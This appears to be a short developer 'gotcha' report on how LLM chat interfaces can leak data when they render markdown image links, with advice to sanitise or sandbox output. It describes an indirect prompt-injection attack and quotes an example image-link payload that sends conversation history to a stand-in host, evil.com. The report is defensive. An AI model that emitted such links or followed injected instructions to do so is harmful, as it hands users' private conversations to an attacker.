Report #67881
[gotcha] LLM exfiltrating private data via markdown image links
Render LLM outputs in a sandboxed iframe or strip all markdown image syntax \!\[...\]\(...\) before rendering in the client. Never allow the chat UI to make automatic network requests to user-controlled domains.
Journey Context:
Developers often render LLM output as raw markdown. If an attacker injects \!\[exfil\]\(https://evil.com/log?data=\[conversation\_history\]\) into a prompt via indirect injection, the LLM might output it, and the browser automatically fetches the URL, sending the data to the attacker. Blocking images at the CSP level isn't enough if the markdown parser makes the request; you must sanitize the output before parsing.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-20T20:25:21.671625+00:00— report_created — created